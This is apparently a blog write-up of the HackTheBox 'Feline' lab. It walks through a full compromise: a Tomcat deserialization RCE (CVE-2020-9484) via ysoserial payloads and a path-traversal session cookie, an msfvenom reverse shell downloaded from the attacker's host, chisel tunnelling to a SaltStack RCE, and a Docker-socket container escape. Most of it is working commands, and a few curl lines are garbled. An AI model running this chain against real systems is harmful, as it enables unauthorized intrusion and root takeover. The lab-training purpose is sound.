HackTheBox - Feline Writeup

 System Summary


Initial Enumeration

Nmap scan reveals only port 8080 open where a Tomcat version 9.0.27


The webpage http://10.10.10.205 doesn't lead to anything,

However, looking at the webpage source (or using a scanning tool like dirbuster) we can find the section

http://10.10.10.205/service.


This gives us the opportunity to upload files.

Let's try to upload something while intercepting the request with Burp: below an example of an upload of file named "word"

The response by Tomcat is not very useful: it just says "Upload Successful" or "Unsuccessful": we eould like to know where the uploaded files are stored.

This because there's an interesting RCE vulnerability CVE-2020-9484 (Here a great article that explains both vulnerability and exploiting process). One of the prerequisites is to know.

Let's try to tamper with the request with Burp repeater.
After some retries we can find that omitting the filename in the requests, the Java backend goes in error disclosing the path where files get stored (/opt/samples/uploads)





 

Initial Foothold

Now that we have the path we can follow the exploiting process: as first step let's see if we can do a POC just using ping back to our machine.

First we have to prepare a payload with ysoserial using the CommonCollections2 gadget and storing it in the file ping.session

java -jar ysoserial-master-138dc36bd2-1.jar  CommonsCollections2  'ping -c 5 10.10.16.78' > ping.session


Next we have to upload the file ping.session with this command:


 curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/anything" -F 'image=@ping.session'

If everything is OK a file named ping will be stored in /opt/samples/uploads

Then trigger the deserialization call

 curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/ping"

And the result is :



OK! The RCE works.

Next we can try to execute netcat shell or similar payloads: unfortunately ysoserial payloads don't work as expected.

As explained in some articles, java doesn't like payloads containing pipes, redirection or more shell commands separated by ;

Therefore we have to use single and simple commands.

Let's follow this 

  • Build a reverse tcp shell executable with msfvenom
  • Publish it on our computer 
  • Create a payload with ysoserial that download its to /tmp/payload (wget)
  • Create a payload with ysoserial that makes /tmp/payload executable (chmod)
  • Create a payload with ysoserial that executes  /tmp/payload  
  • Open a netcat listener
  • Execute the exploit process to above three payloads in sequence

First we build the executable payload

msfvenom -p linux/x86/shell_reverse_tcp LPORT=4445 LHOST=10.10.16.78 -f elf > /var/www/html/payload

Then we create three payloads with ysoserial:

wget

java -jar ysoserial-master-138dc36bd2-1.jar CommonsCollections2 'wget http://10.10.16.78:4444/payload -O /tmp/payload' > wget.session

chmod

java -jar ysoserial-master-138dc36bd2-1.jar CommonsCollections2 'chmod +x /tmp/payload' > chmod.session 

execute the downloaded payload


Then trigger the vulnerability three times to execute the three commands:

Upload wget file

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/wget" -F 'image=@wget.session'

Execute wget 

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/wget"


Upload chmod file

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/chmod" -F 'image=@chmod.session'

Execute chmod

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/chmod"

Upload execute file

curl -v  --co curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/exec" -F 'image=@exec.session'

Exec exute file

curl -v  --co curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/exec"

The result is: 


We get a shell as tomcat user and the user flag for free, also.

Further Escalation

With the usual enumeration we can't find anything interesting to escalate to root.

However we can find we're in a container and there are some services that are listening locally:


The two port 4505 and 4506 looks very interesting: they're used by Salt Stack and we might try a well known RCE CVE-2020-11651

But how can we reach this port? This is listening on localhost. 

One way is to compile and upload the exeploit. 

The easier way chisel, a tunneling program that works in a similar way as ssh tunnel but without the need to create accounts and logins.

We just have to download chisel on both attacking machine and container instance.

Then start a chisel listener session on our attacking machine:

chisel server -p 8000 --reverse

Then start the other end of tunnel in the docker container with the client part.

./chisel client 10.10.16.78:8000 R:4506:127.0.0.1:4506

The option R:4506:127.0.0.1:4506 is similar to SSH tunnel syntax: the traffic coming through the tunnel is to be sent to 127.0.0.1:4506. 

We can now direct our exploit to our 127.0.0.1:8000 and it will be sent to Saltstack service running in the docker container.

Luckily there's a great module in Metasploit named saltstack_unath_rce

We can use it to get a root shell in the container 



Root Escalation

Unfortunately the root folder doesn't have the root flag: we have to evade from the container and access the hosts.

The interesting thing here is that the container exposes the docker socket file /var/run/docker.sock
This is a bad idea because it's a channel that we can use to control other containers.

Since the container itself doesn't have the docker executable, let's download the docker executable from an ubuntu/kali system (our machine, for example) 

Then we can run docker commands inside the container and manage dockers running on the host.
As an example we can show which containers are running (our own) identifying its ID and image


Once we have the image ID we can run another container of the same image, mapping the / filesystem of host inside a folder (/mnt) and execute a chroot inside /mnt, adding the interactive mode with -ti

./docker container run --rm -it --privileged --net=host --pid=host --volume /:/mnt 188a2704d8b0 chroot /mnt

With this result:

We have a shell in the / of the host itself.

We can then get the root flag.

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.